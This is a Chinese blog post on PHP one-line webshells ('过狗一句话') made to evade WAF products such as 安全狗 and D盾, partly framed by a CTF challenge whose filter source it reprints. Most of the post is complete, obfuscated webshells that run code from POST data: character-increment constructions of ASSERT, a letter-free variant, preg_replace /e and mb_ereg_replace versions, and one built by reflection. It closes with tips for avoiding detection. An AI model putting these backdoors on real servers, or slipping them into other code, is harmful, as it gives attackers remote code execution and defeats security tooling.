关注我们

过狗一句话

adminadmin WAF绕过 2018-04-24 703 0

之前玩CTF遇到一个一句话很有意思,于是就把之前收藏的文章拿出来看看,学习一下,同时分享给各位。所有的马都是在前人的基础上稍作修改,对于一些关键点会稍作解释,方便大家理解。


第一种


隐藏关键字,通过对单个字符变量进行++操作来获取其他字符,再进行拼接得到我们想要的函数。

@$_=[].'';        //PHP5.3之后(不包括5.3)才能这么用,数组被强制转换成字符串,获取字符串Array,等下要用到A 
@$___=$_[''];     //获取A字符,这里的空字符串会被转换成0,即['']变成[0] $_ = 'A'; 
$_++;//$_的值为A 
$__ = "Z"; 
$__++;//
$__的值为AA,而不会是ASCII字符Z的下一位

所以我们可以根据这个思路构造一句话,如下:(ASSERT("eval($_POST[c])");当中还有base64解密)

<?php 
    @$_=[].'';@$___=$_[''];$____=$___;$____++;$_____=$____;$_____++;$______=$_____;$______++;$_______=$______;$_______++;$________=$_______;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;$________++;$________++;$________++;$_____=$_________;$_____++;$__=$___.$_________.$_________.$_______.$________.$_____;@$__($_("ZXZhbCgkX1BPU1RbY10p")); 
    ?>

过狗一句话

过狗一句话

过狗一句话

再看另一种变形,不使用任何大小写字符,如下:ASSERT($_POST[_]);


<?php 
    @$_=[].'';@$___=$_[''];$_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;@$___($_[_]);
?>

过狗一句话

过狗一句话


这个变种一句话是在今年的湖湘杯CTF中遇到的,题目的WAF源代码也可以贴出来给大家

<?php 
  ini_set("display_errors", "On"); 
  error_reporting(E_ALL | E_STRICT); 
  if(!isset($_GET['content'])){ 
     show_source(__FILE__); 
     die(); 
  } 
  functionrand_string( $length ) { 
     $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 
     $size = strlen( $chars ); 
     $str = ''; 
     for( $i = 0; $i < $length; $i++) { 
         $str .= $chars[ rand( 0, $size - 1 ) ]; 
     } 
     return$str; 
  } 
  $data = $_GET['content']; 
  $black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`',  '|', '~'); 
  foreach ($black_charas$b) { 
     if (stripos($data, $b) !== false){ 
         die("关键字WAF"); 
     } 
  } 
  $filename=rand_string(0x20).'.php'; 
  $folder='uploads/'; 
  $full_filename = $folder.$filename; 
  if(file_put_contents($full_filename, '<?php '.$data)){ 
     echo"<a href='".$full_filename."'>shell</a></br>"; 
     echo"我的/flag,你读到了么"; 
  } 
  else{ 
     echo"噢
噢,错了"; 
  } ?>

第二种

使用正则匹配配合/e模式,制作一句话木马
当使用e修饰符时, preg_replace() 在进行对字符串的替换后替换后的字符串会被作当做php代码来执行。单引号、双引号、反斜线(/) NULL字符在替换时会被反斜线转义。

<?php 
    $subject="Mochazz's Trojan"; 
    $pattern="/^.*$/e"; 
    @$payload=base64_encode($_POST[_]); 
    $replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))"; 
    preg_replace($pattern, $replacement , $subject); 
 ?>

406576616c286261736536345f6465636f646528对应@eval(base64_decode(


过狗一句话

过狗一句话

过狗一句话

虽然5.5.0之后会报错,但是一句话的功能还是能正常执行。
过狗一句话

mb_ereg_replace()函数也可以达到同样执行效果,但是过防护软件效果不好。

<?php 
  mb_ereg_replace('.*', $_REQUEST[_], '', 'e'); ?>

第三种

利用PHP反射机制制作免杀木马
将一句话打乱写在注释语句中,通过PHP的反射机制来构造、执行一句话。这里需注意,用于动态执行的字符串必须要是"assert",不能是"eval",因为在PHP中,evaldie不是函数,而assert是函数。代码如下:
(ASSERT(eval($_POST['_'])))

<?php 
    /**
 
    * ev
 
    * al(
 
    * ASS
 
    * ERT
 
    * $_P
 
    * OST['_'])
 
    */ 
    classTestClass { } 
    $rc = new ReflectionClass('TestClass'); 
    $str = $rc->getDocComment(); 
    $e = substr($str, strpos($str,"e"),2); 
    $e = $e.substr($str,strpos($str,"a"),3); 
    $a = substr($str, strpos($str, "A"),3); 
    $a = $a.substr($str, strpos($str, "E"),3); 
    $e = $e.substr($str, strpos($str, "$"),3); 
    $e = $e.substr($str, strpos($str, "O"),9); 
    $a($e);


如果注释中有关键字,安全狗会把他当成一句话(估计安全狗使用的是关键字匹配),但是D盾不会,所以在过安全狗的时候,如果对webshell进行了混淆,不要把明文关键字放在注释里面。

过狗一句话

过狗一句话






喜欢3评论已闭